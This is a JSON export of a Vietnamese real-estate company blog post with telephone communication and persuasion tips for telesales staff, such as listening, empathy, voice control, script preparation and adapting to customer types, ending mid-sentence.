{"id":35324,"date":"2022-11-28T17:21:25","date_gmt":"2022-11-28T10:21:25","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=35324"},"modified":"2025-10-22T04:31:02","modified_gmt":"2025-10-21T21:31:02","slug":"nghe-thuat-noi-chuyen-va-thuyet-phuc-bang-loi-noi-qua-dien-thoai","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/nghe-thuat-noi-chuyen-va-thuyet-phuc-bang-loi-noi-qua-dien-thoai\/","title":{"rendered":"Ngh\u1ec7 thu\u1eadt n\u00f3i chuy\u1ec7n v\u00e0 thuy\u1ebft ph\u1ee5c b\u1eb1ng l\u1eddi n\u00f3i qua \u0111i\u1ec7n tho\u1ea1i"},"content":{"rendered":"<p><i><span style=\"font-weight: 400;\">Ngh\u1ec7 thu\u1eadt n\u00f3i chuy\u1ec7n l\u00e0 m\u1ed9t trong nh\u1eefng y\u1ebfu t\u1ed1 l\u00e0m n\u00ean s\u1ef1 th\u00e0nh c\u00f4ng c\u1ee7a cu\u1ed9c giao ti\u1ebfp qua \u0111i\u1ec7n tho\u1ea1i. Kh\u00f4ng ch\u1ec9 s\u1eed d\u1ee5ng trong kinh doanh, h\u1ee3p t\u00e1c, b\u1ea5t k\u1ec3 khi n\u00e0o b\u1ea1n mu\u1ed1n ng\u01b0\u1eddi kh\u00e1c nghe theo \u00fd ki\u1ebfn c\u1ee7a m\u00ecnh, b\u1ea1n \u0111\u1ec1u c\u1ea7n s\u1eed d\u1ee5ng \u0111\u1ebfn k\u1ef9 n\u0103ng thuy\u1ebft ph\u1ee5c.<\/span><\/i><\/p>\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_82_2 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-69ed403cd8395\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-69ed403cd8395\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/nghe-thuat-noi-chuyen-va-thuyet-phuc-bang-loi-noi-qua-dien-thoai\/#Nghe_thuat_noi_chuyen_thu_hut_qua_dien_thoai\" >Ngh\u1ec7 thu\u1eadt n\u00f3i chuy\u1ec7n thu h\u00fat qua \u0111i\u1ec7n tho\u1ea1i<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/nghe-thuat-noi-chuyen-va-thuyet-phuc-bang-loi-noi-qua-dien-thoai\/#Ren_luyen_kha_nang_lang_nghe\" >R\u00e8n luy\u1ec7n kh\u1ea3 n\u0103ng l\u1eafng nghe<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/nghe-thuat-noi-chuyen-va-thuyet-phuc-bang-loi-noi-qua-dien-thoai\/#Giu_su_tap_trung\" >Gi\u1eef s\u1ef1 t\u1eadp trung<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/nghe-thuat-noi-chuyen-va-thuyet-phuc-bang-loi-noi-qua-dien-thoai\/#Chan_thanh_va_thau_hieu\" >Ch\u00e2n th\u00e0nh v\u00e0 th\u1ea5u hi\u1ec3u<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/nghe-thuat-noi-chuyen-va-thuyet-phuc-bang-loi-noi-qua-dien-thoai\/#Giong_noi_truyen_cam_va_co_diem_nhan\" >Gi\u1ecdng n\u00f3i truy\u1ec1n c\u1ea3m v\u00e0 c\u00f3 \u0111i\u1ec3m nh\u1ea5n<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/nghe-thuat-noi-chuyen-va-thuyet-phuc-bang-loi-noi-qua-dien-thoai\/#Ky_nang_giao_tiep_qua_dien_thoai\" >K\u1ef9 n\u0103ng giao ti\u1ebfp qua \u0111i\u1ec7n tho\u1ea1i\u00a0<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/reti.vn\/blog\/nghe-thuat-noi-chuyen-va-thuyet-phuc-bang-loi-noi-qua-dien-thoai\/#Chuan_bi_noi_dung_can_phai_noi\" >Chu\u1ea9n b\u1ecb n\u1ed9i dung c\u1ea7n ph\u1ea3i n\u00f3i<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/reti.vn\/blog\/nghe-thuat-noi-chuyen-va-thuyet-phuc-bang-loi-noi-qua-dien-thoai\/#Han_che_su_dung_tu_chuyen_nganh_kho_hieu\" >H\u1ea1n ch\u1ebf s\u1eed d\u1ee5ng t\u1eeb chuy\u00ean ng\u00e0nh, kh\u00f3 hi\u1ec3u\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-9\" href=\"https:\/\/reti.vn\/blog\/nghe-thuat-noi-chuyen-va-thuyet-phuc-bang-loi-noi-qua-dien-thoai\/#Nhan_dien_doi_tuong_khach_hang_de_tim_phuong_phap_phu_hop\" >Nh\u1eadn di\u1ec7n \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng \u0111\u1ec3 t\u00ecm ph\u01b0\u01a1ng ph\u00e1p ph\u00f9 h\u1ee3p\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-10\" href=\"https:\/\/reti.vn\/blog\/nghe-thuat-noi-chuyen-va-thuyet-phuc-bang-loi-noi-qua-dien-thoai\/#Nam_the_chu_dong_trong_cuoc_goi\" >N\u1eafm th\u1ebf ch\u1ee7 \u0111\u1ed9ng trong cu\u1ed9c g\u1ecdi\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-11\" href=\"https:\/\/reti.vn\/blog\/nghe-thuat-noi-chuyen-va-thuyet-phuc-bang-loi-noi-qua-dien-thoai\/#Ghi_chep_nhanh_cuoc_noi_chuyen\" >Ghi ch\u00e9p nhanh cu\u1ed9c n\u00f3i chuy\u1ec7n\u00a0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-12\" href=\"https:\/\/reti.vn\/blog\/nghe-thuat-noi-chuyen-va-thuyet-phuc-bang-loi-noi-qua-dien-thoai\/#Khong_gac_may_truoc\" >Kh\u00f4ng g\u00e1c m\u00e1y tr\u01b0\u1edbc\u00a0<\/a><\/li><\/ul><\/li><\/ul><\/nav><\/div>\n<h2><span class=\"ez-toc-section\" id=\"Nghe_thuat_noi_chuyen_thu_hut_qua_dien_thoai\"><\/span><b>Ngh\u1ec7 thu\u1eadt n\u00f3i chuy\u1ec7n thu h\u00fat qua \u0111i\u1ec7n tho\u1ea1i<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">Trong cu\u1ed9c s\u1ed1ng hi\u1ec7n nay, giao ti\u1ebfp \u0111\u00f3ng m\u1ed9t vai tr\u00f2 r\u1ea5t quan tr\u1ecdng. C\u00e1ch n\u00f3i chuy\u1ec7n thu h\u00fat, h\u00f3m h\u1ec9nh, th\u00f4ng minh kh\u00f4ng ch\u1ec9 gi\u00fap b\u1ea1n t\u1ef1 tin v\u00e0 th\u00e0nh c\u00f4ng h\u01a1n trong cu\u1ed9c s\u1ed1ng m\u00e0 n\u00f3 c\u00f2n gi\u00fap b\u1ea1n t\u1ea1o \u0111\u01b0\u1ee3c \u1ea5n t\u01b0\u1ee3ng t\u1ed1t v\u1edbi nh\u1eefng ng\u01b0\u1eddi xung quanh. V\u1eady l\u00e0m th\u1ebf n\u00e0o \u0111\u1ec3 t\u1ea1o s\u1ef1 h\u1ea5p d\u1eabn l\u00f4i cu\u1ed1n trong cu\u1ed9c giao ti\u1ebfp qua \u0111i\u1ec7n tho\u1ea1i?\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Ren_luyen_kha_nang_lang_nghe\"><\/span><b><i>R\u00e8n luy\u1ec7n kh\u1ea3 n\u0103ng l\u1eafng nghe<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">R\u00e8n kh\u1ea3 n\u0103ng l\u1eafng nghe gi\u00fap b\u1ea1n c\u00f3 th\u1eddi gian c\u1ea3m nh\u1eadn, suy ngh\u0129 th\u1ea5u \u0111\u00e1o v\u1ea5n \u0111\u1ec1, gi\u00fap \u0111\u1ed1i ph\u01b0\u01a1ng c\u1ea3m th\u1ea5y \u0111\u01b0\u1ee3c t\u00f4n tr\u1ecdng, \u0111\u01b0\u1ee3c \u0111\u1ed3ng c\u1ea3m.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">L\u1eafng nghe nh\u01b0 s\u1ee3i d\u00e2y t\u1ea1o ra m\u1ed1i li\u00ean k\u1ebft th\u00e2n thi\u1ec7n v\u1edbi ng\u01b0\u1eddi \u0111\u1ed1i di\u1ec7n, \u0111\u1ec3 khi b\u1ea1n n\u00f3i, ng\u01b0\u1eddi nghe s\u1ebd t\u00f4n tr\u1ecdng \u00fd ki\u1ebfn c\u1ee7a b\u1ea1n h\u01a1n. \u0110i\u1ec1u n\u00e0y khi\u1ebfn cho cu\u1ed9c giao ti\u1ebfp c\u1ee7a b\u1ea1n tr\u1edf n\u00ean c\u00f3 chi\u1ec1u s\u00e2u v\u00e0 ch\u1ea5t l\u01b0\u1ee3ng.<\/span><\/p>\n<p>&gt;&gt;&gt;\u00a0<a href=\"https:\/\/reti.vn\/blog\/6-cach-giup-ctv-bat-dong-san-lang-nghe-khach-hang-tot-nhat\/\">6 c\u00e1ch gi\u00fap CTV B\u1ea5t \u0111\u1ed9ng s\u1ea3n l\u1eafng nghe kh\u00e1ch h\u00e0ng t\u1ed1t nh\u1ea5t<\/a><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Giu_su_tap_trung\"><\/span><b><i>Gi\u1eef s\u1ef1 t\u1eadp trung<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Nhi\u1ec1u ng\u01b0\u1eddi trong khi giao ti\u1ebfp th\u01b0\u1eddng hay suy ngh\u0129 v\u1ec1 vi\u1ec7c m\u00ecnh n\u00ean n\u00f3i g\u00ec v\u00e0 ph\u1ea3n \u1ee9ng nh\u01b0 th\u1ebf n\u00e0o ti\u1ebfp theo thay v\u00ec t\u1eadp trung v\u00e0o nh\u1eefng g\u00ec \u0111\u1ed1i ph\u01b0\u01a1ng \u0111ang n\u00f3i. Khi b\u1ea1n ch\u1ec9 ch\u00fa t\u00e2m v\u1ec1 ph\u1ea7n m\u00ecnh th\u00ec cu\u1ed9c giao ti\u1ebfp s\u1ebd b\u1ecb m\u1ea5t k\u1ebft n\u1ed1i, \u0111\u1ee9t qu\u00e3ng, r\u1ea5t kh\u00f3 l\u1ea5y \u0111\u01b0\u1ee3c thi\u1ec7n c\u1ea3m c\u1ee7a \u0111\u1ed1i ph\u01b0\u01a1ng.\u00a0\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Chan_thanh_va_thau_hieu\"><\/span><b><i>Ch\u00e2n th\u00e0nh v\u00e0 th\u1ea5u hi\u1ec3u<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">\u0110\u1ec3 c\u00f3 c\u00e1ch n\u00f3i chuy\u1ec7n thu h\u00fat, b\u1ea1n h\u00e3y \u0111\u1eb7t m\u00ecnh v\u00e0o v\u1ecb tr\u00ed c\u1ee7a ng\u01b0\u1eddi b\u1ea1n mu\u1ed1n giao ti\u1ebfp. Khi \u0111\u00f3, b\u1ea1n s\u1ebd hi\u1ec3u t\u00e2m tr\u1ea1ng, mong mu\u1ed1n c\u1ee7a h\u1ecd. N\u1ebfu b\u1ea1n s\u1eed d\u1ee5ng th\u00e1i \u0111\u1ed9 gi\u1eadn d\u1eef, ng\u00f4n ng\u1eef ti\u00eau c\u1ef1c \u0111\u1ec3 giao ti\u1ebfp, ng\u01b0\u1eddi nghe s\u1ebd c\u1ea3m th\u1ea5y nh\u01b0 th\u1ebf n\u00e0o. T\u1eeb t\u00ecnh hu\u1ed1ng \u0111\u00f3, b\u1ea1n s\u1ebd \u0111i\u1ec1u ch\u1ec9nh, c\u00e2n nh\u1eafc s\u1eed d\u1ee5ng ng\u00f4n t\u1eeb ph\u00f9 h\u1ee3p. B\u1ea1n c\u0169ng c\u00f3 th\u1ec3 t\u00ecm hi\u1ec3u s\u1edf th\u00edch, \u0111\u1ec1 t\u00e0i m\u00e0 \u0111\u1ed1i ph\u01b0\u01a1ng quan t\u00e2m. Hi\u1ec3u v\u00e0 th\u1ec3 hi\u1ec7n s\u1ef1 \u0111\u1ed3ng c\u1ea3m v\u1edbi \u0111\u1ed1i ph\u01b0\u01a1ng, cu\u1ed9c tr\u00f2 chuy\u1ec7n c\u1ee7a b\u1ea1n s\u1ebd tr\u1edf n\u00ean thu h\u00fat h\u01a1n.<\/span><\/p>\n<figure id=\"attachment_5367\" aria-describedby=\"caption-attachment-5367\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"size-full wp-image-5367 lazyload\" data-src=\"https:\/\/agent.reti.vn\/wp-content\/uploads\/2022\/11\/giao-tiep-qua-dien-thoai-1.jpg\" alt=\"\" width=\"900\" height=\"600\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 900px; --smush-placeholder-aspect-ratio: 900\/600;\"><figcaption id=\"caption-attachment-5367\" class=\"wp-caption-text\">H\u00e3y d\u00e0nh s\u1ef1 ch\u00e2n th\u00e0nh v\u00e0 th\u1ea5u hi\u1ec3u \u0111\u1ed1i ph\u01b0\u01a1ng \u0111\u1ec3 \u0111\u1ea1t \u0111\u01b0\u1ee3c hi\u1ec7u qu\u1ea3 giao ti\u1ebfp cao nh\u1ea5t.<\/figcaption><\/figure>\n<p>&gt;&gt;&gt;\u00a0<a href=\"https:\/\/reti.vn\/blog\/cach-thuyet-phuc-khach-hang-kho-tinh\/\">C\u00e1ch thuy\u1ebft ph\u1ee5c kh\u00e1ch h\u00e0ng kh\u00f3 t\u00ednh hi\u1ec7u qu\u1ea3<\/a><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Giong_noi_truyen_cam_va_co_diem_nhan\"><\/span><b><i>Gi\u1ecdng n\u00f3i truy\u1ec1n c\u1ea3m v\u00e0 c\u00f3 \u0111i\u1ec3m nh\u1ea5n<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Gi\u1ecdng n\u00f3i c\u00f3 th\u1ec3 t\u1ea1o \u1ea5n t\u01b0\u1ee3ng v\u00e0 thi\u1ec7n c\u1ea3m ngay t\u1eeb kho\u1ea3nh kh\u1eafc ban \u0111\u1ea7u. V\u00ec th\u1ebf, n\u1ebfu b\u1ea1n l\u00e0 m\u1ed9t nh\u00e2n vi\u00ean b\u00e1n h\u00e0ng, nh\u00e2n vi\u00ean Telesale th\u00ec c\u00e0ng c\u1ea7n \u0111\u1eb7c bi\u1ec7t ch\u00fa tr\u1ecdng v\u00e0o gi\u1ecdng n\u00f3i\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">M\u1ed9t gi\u1ecdng n\u00f3i thu h\u00fat tr\u01b0\u1edbc h\u1ebft ph\u1ea3i \u0111\u1ea1t chu\u1ea9n. \u0110\u1ea1t chu\u1ea9n \u0111\u1ea7u ti\u00ean l\u00e0 v\u1ec1 ph\u00e1t \u00e2m ph\u1ea3i \u0111\u00fang ch\u00ednh t\u1ea3, r\u00f5 r\u00e0ng, \u00e2m l\u01b0\u1ee3ng \u0111\u1ee7 \u0111\u1ec3 ng\u01b0\u1eddi \u0111\u1ed1i di\u1ec7n nghe r\u00f5, t\u1ed1c \u0111\u1ed9 gi\u1ecdng n\u00f3i v\u1eeba ph\u1ea3i. \u0110\u1ec3 gi\u1ecdng n\u00f3i truy\u1ec1n c\u1ea3m h\u01a1n th\u00ec b\u1ea1n c\u1ea7n r\u00e8n luy\u1ec7n c\u00e1ch t\u1ea1o ng\u1eef \u0111i\u1ec7u, \u0111\u1ed9 rung, vang cho gi\u1ecdng n\u00f3i v\u00e0 c\u00f3 \u0111i\u1ec3m nh\u1ea5n. V\u00ed d\u1ee5, n\u00f3i \u0111\u1ebfn nh\u1eefng v\u1ea5n \u0111\u1ec1, hay n\u1ed9i dung quan tr\u1ecdng b\u1ea1n n\u00ean d\u1eebng l\u1ea1i m\u1ed9t ch\u00fat \u0111\u1ec3 n\u00f3i ch\u1eadm r\u00e3i, r\u00f5 r\u00e0ng\u2026 N\u1ebfu l\u00e0m \u0111\u01b0\u1ee3c nh\u1eefng \u0111i\u1ec1u n\u00e0y, b\u1ea1n s\u1ebd ghi \u0111i\u1ec3m r\u1ea5t t\u1ed1t v\u1edbi ng\u01b0\u1eddi c\u1ea7n giao ti\u1ebfp c\u0169ng nh\u01b0 t\u1ea1o \u0111\u01b0\u1ee3c s\u1ee9c h\u00fat trong c\u00e1c cu\u1ed9c tr\u00f2 chuy\u1ec7n.\u00a0<\/span><\/p>\n<h2><span class=\"ez-toc-section\" id=\"Ky_nang_giao_tiep_qua_dien_thoai\"><\/span><b>K\u1ef9 n\u0103ng giao ti\u1ebfp qua \u0111i\u1ec7n tho\u1ea1i\u00a0<\/b><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p><span style=\"font-weight: 400;\">S\u1eed d\u1ee5ng k\u1ef9 n\u0103ng \u0111i\u1ec7n tho\u1ea1i \u0111\u1ec3 k\u1ebft n\u1ed1i v\u1edbi kh\u00e1ch h\u00e0ng l\u00e0 m\u1ed9t trong nh\u1eefng h\u00ecnh th\u1ee9c ph\u1ed5 bi\u1ebfn \u0111\u1ec3 gi\u1edbi thi\u1ec7u s\u1ea3n ph\u1ea9m, d\u1ecbch v\u1ee5 hi\u1ec7n nay. C\u00f9ng Reti ti\u1ebfp t\u1ee5c kh\u00e1m ph\u00e1 nh\u1eefng k\u1ef9 n\u0103ng giao ti\u1ebfp th\u00e0nh c\u00f4ng qua \u0111i\u1ec7n tho\u1ea1i d\u00e0nh cho nh\u00e2n vi\u00ean Telesale chuy\u00ean nghi\u1ec7p nh\u00e9!\u00a0<\/span><\/p>\n<p>&gt;&gt;&gt;\u00a0<a href=\"https:\/\/reti.vn\/blog\/cach-tao-thien-cam-trong-ban-hang\/\">C\u00e1ch t\u1ea1o thi\u1ec7n c\u1ea3m trong b\u00e1n h\u00e0ng<\/a><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Chuan_bi_noi_dung_can_phai_noi\"><\/span><b><i>Chu\u1ea9n b\u1ecb n\u1ed9i dung c\u1ea7n ph\u1ea3i n\u00f3i<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">\u0110\u1ec3 c\u00f3 cu\u1ed9c n\u00f3i chuy\u1ec7n tr\u00f4i ch\u1ea3y v\u00e0 t\u1ef1 tin, b\u1ea1n c\u1ea7n ph\u1ea3i bi\u1ebft m\u00ecnh s\u1ebd n\u00f3i g\u00ec v\u1edbi kh\u00e1ch h\u00e0ng, \u0111\u1ed3ng th\u1eddi l\u01b0\u1eddng tr\u01b0\u1edbc m\u1ed9t s\u1ed1 v\u1ea5n \u0111\u1ec1 ph\u00e1t sinh. \u0110i\u1ec1u n\u00e0y c\u00f3 ngh\u0129a l\u00e0 b\u1ea1n c\u1ea7n chu\u1ea9n b\u1ecb s\u1eb5n k\u1ecbch b\u1ea3n n\u00f3i chuy\u1ec7n, sau \u0111\u00f3 t\u00f9y v\u00e0o th\u00e1i \u0111\u1ed9 c\u1ee7a ng\u01b0\u1eddi nghe m\u00e0 \u0111i\u1ec1u ch\u1ec9nh n\u1ed9i dung cho ph\u00f9 h\u1ee3p. Nh\u1eefng th\u00f4ng tin b\u1ea1n c\u1ea7n c\u00f3 bao g\u1ed3m l\u1eddi gi\u1edbi thi\u1ec7u, m\u1ee5c \u0111\u00edch cu\u1ed9c g\u1ecdi, gi\u00e1 tr\u1ecb mang \u0111\u1ebfn v\u00e0 l\u1eddi t\u1ea1m bi\u1ec7t.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Han_che_su_dung_tu_chuyen_nganh_kho_hieu\"><\/span><b><i>H\u1ea1n ch\u1ebf s\u1eed d\u1ee5ng t\u1eeb chuy\u00ean ng\u00e0nh, kh\u00f3 hi\u1ec3u\u00a0<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">M\u1ed9t s\u1ed1 ng\u01b0\u1eddi l\u00e0m Telesale hi\u1ec3u nh\u1ea7m r\u1eb1ng, n\u00f3i c\u00e0ng nhi\u1ec1u t\u1eeb chuy\u00ean ng\u00e0nh s\u1ebd c\u00e0ng th\u1ec3 hi\u1ec7n m\u00ecnh chuy\u00ean nghi\u1ec7p. Tuy nhi\u00ean, \u0111i\u1ec1u n\u00e0y s\u1ebd khi\u1ebfn ng\u01b0\u1eddi nghe c\u1ea3m th\u1ea5y kh\u00f3 hi\u1ec3u, l\u00e2u d\u1ea7n tr\u1edf n\u00ean nh\u00e0m ch\u00e1n v\u00e0 kh\u00f4ng mu\u1ed1n ti\u1ebfp t\u1ee5c n\u00f3i chuy\u1ec7n. V\u00ec v\u1eady, b\u1ea1n c\u00f3 th\u1ec3 d\u00f9ng t\u1eeb chuy\u00ean ng\u00e0nh nh\u01b0ng ch\u1ec9 \u1edf m\u1ee9c v\u1eeba ph\u1ea3i, th\u00eam v\u00e0o \u0111o\u1ea1n c\u1ea7n nh\u1ea5n nh\u00e1, k\u00edch th\u00edch tinh th\u1ea7n.\u00a0<\/span><\/p>\n<figure id=\"attachment_5368\" aria-describedby=\"caption-attachment-5368\" style=\"width: 900px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" class=\"size-full wp-image-5368 lazyload\" data-src=\"https:\/\/agent.reti.vn\/wp-content\/uploads\/2022\/11\/giao-tiep-qua-dien-thoai-2.jpg\" alt=\"\" width=\"900\" height=\"600\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" style=\"--smush-placeholder-width: 900px; --smush-placeholder-aspect-ratio: 900\/600;\"><figcaption id=\"caption-attachment-5368\" class=\"wp-caption-text\">Ki\u1ec3m so\u00e1t c\u1ea3m x\u00fac \u0111\u00fang m\u1ef1c gi\u00fap b\u1ea1n \u0111i \u0111\u00fang tr\u1ecdng t\u00e2m v\u1ea5n \u0111\u1ec1<\/figcaption><\/figure>\n<h3><span class=\"ez-toc-section\" id=\"Nhan_dien_doi_tuong_khach_hang_de_tim_phuong_phap_phu_hop\"><\/span><b><i>Nh\u1eadn di\u1ec7n \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng \u0111\u1ec3 t\u00ecm ph\u01b0\u01a1ng ph\u00e1p ph\u00f9 h\u1ee3p\u00a0<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Ngh\u1ec7 thu\u1eadt giao ti\u1ebfp qua \u0111i\u1ec7n tho\u1ea1i th\u1ec3 hi\u1ec7n \u1edf ch\u1ed7, b\u1ea1n bi\u1ebft c\u00e1ch \u0111i\u1ec1u ch\u1ec9nh l\u1eddi l\u1ebd, ng\u00f4n ng\u1eef v\u00e0 t\u1ed1c \u0111\u1ed9 n\u00f3i th\u00edch h\u1ee3p v\u1edbi t\u1eebng \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng. Ch\u1eb3ng h\u1ea1n, v\u1edbi ng\u01b0\u1eddi c\u00f3 t\u00ednh c\u00e1ch \u0111i\u1ec1m t\u0129nh v\u00e0 th\u00edch s\u1ef1 ng\u1eafn g\u1ecdn, b\u1ea1n \u0111\u1eebng tr\u00ecnh b\u00e0y qu\u00e1 d\u00e0i d\u00f2ng. C\u00f2n \u0111\u1ed1i v\u1edbi ng\u01b0\u1eddi h\u01b0\u1edbng ngo\u1ea1i v\u00e0 th\u00edch chia s\u1ebb, b\u1ea1n h\u00e3y l\u1eafng nghe h\u1ecd nhi\u1ec1u h\u01a1n v\u00e0 n\u1eafm \u0111\u00fang tr\u1ecdng \u0111i\u1ec3m v\u1ea5n \u0111\u1ec1 \u0111\u1ec3 li\u00ean h\u1ec7 v\u1edbi s\u1ea3n ph\u1ea9m c\u1ee7a m\u00ecnh.\u00a0<\/span><\/p>\n<p>&gt;&gt;&gt; <a href=\"https:\/\/reti.vn\/blog\/cam-nang-dong-hanh-cung-khach-hang-tiem-nang-hieu-qua-giai-ma-khach-hang-khi-ho-khong-noi\/\">Gi\u1ea3i m\u00e3 kh\u00e1ch h\u00e0ng khi h\u1ecd kh\u00f4ng n\u00f3i<\/a><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Nam_the_chu_dong_trong_cuoc_goi\"><\/span><b><i>N\u1eafm th\u1ebf ch\u1ee7 \u0111\u1ed9ng trong cu\u1ed9c g\u1ecdi\u00a0<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">B\u1ea1n l\u00e0 ng\u01b0\u1eddi g\u1ecdi nh\u01b0ng \u0111\u1eebng \u0111\u1ec3 tr\u1edf th\u00e0nh ng\u01b0\u1eddi n\u00f3i \u00edt h\u01a1n trong m\u1ed9t cu\u1ed9c h\u1ed9i tho\u1ea1i, b\u1ecb \u0111\u1ed9ng v\u00e0 ch\u1ec9 tr\u1ea3 l\u1eddi c\u00e2u h\u1ecfi c\u1ee7a kh\u00e1ch h\u00e0ng. B\u1ea1n s\u1ebd kh\u00f4ng th\u1ec3 duy tr\u00ec m\u1ed9t cu\u1ed9c g\u1ecdi tr\u00ean 10 ph\u00fat n\u1ebfu ch\u1ec9 im l\u1eb7ng v\u00e0 ch\u1edd \u0111\u1ee3i ng\u01b0\u1eddi nghe h\u1ecfi \u0111\u1ebfn. B\u1ea1n h\u00e3y l\u00e0 ng\u01b0\u1eddi n\u1eafm th\u1ebf ch\u1ee7 \u0111\u1ed9ng v\u00e0 l\u00e0 ng\u01b0\u1eddi \u0111\u1eb7t v\u1ea5n \u0111\u1ec1. Nh\u01b0ng c\u0169ng \u0111\u1eebng n\u00f3i qu\u00e1 nhi\u1ec1u v\u00ec c\u00f3 th\u1ec3 khi\u1ebfn kh\u00e1ch h\u00e0ng c\u1ea3m th\u1ea5y \u201cs\u1ee3\u201d. \u0110\u00e2y c\u0169ng l\u00e0 m\u1ed9t ngh\u1ec7 thu\u1eadt n\u00f3i chuy\u1ec7n qua \u0111i\u1ec7n tho\u1ea1i b\u1ea1n n\u00ean r\u00e8n luy\u1ec7n t\u1eebng ng\u00e0y.\u00a0<\/span><\/p>\n<h3><span class=\"ez-toc-section\" id=\"Ghi_chep_nhanh_cuoc_noi_chuyen\"><\/span><b><i>Ghi ch\u00e9p nhanh cu\u1ed9c n\u00f3i chuy\u1ec7n\u00a0<\/i><\/b><span class=\"ez-toc-section-end\"><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">M\u1eb7c d\u00f9 ghi nh\u1edb thu\u1ed9c v\u1ec1 k\u1ef9 n\u0103ng c\u1ea7n 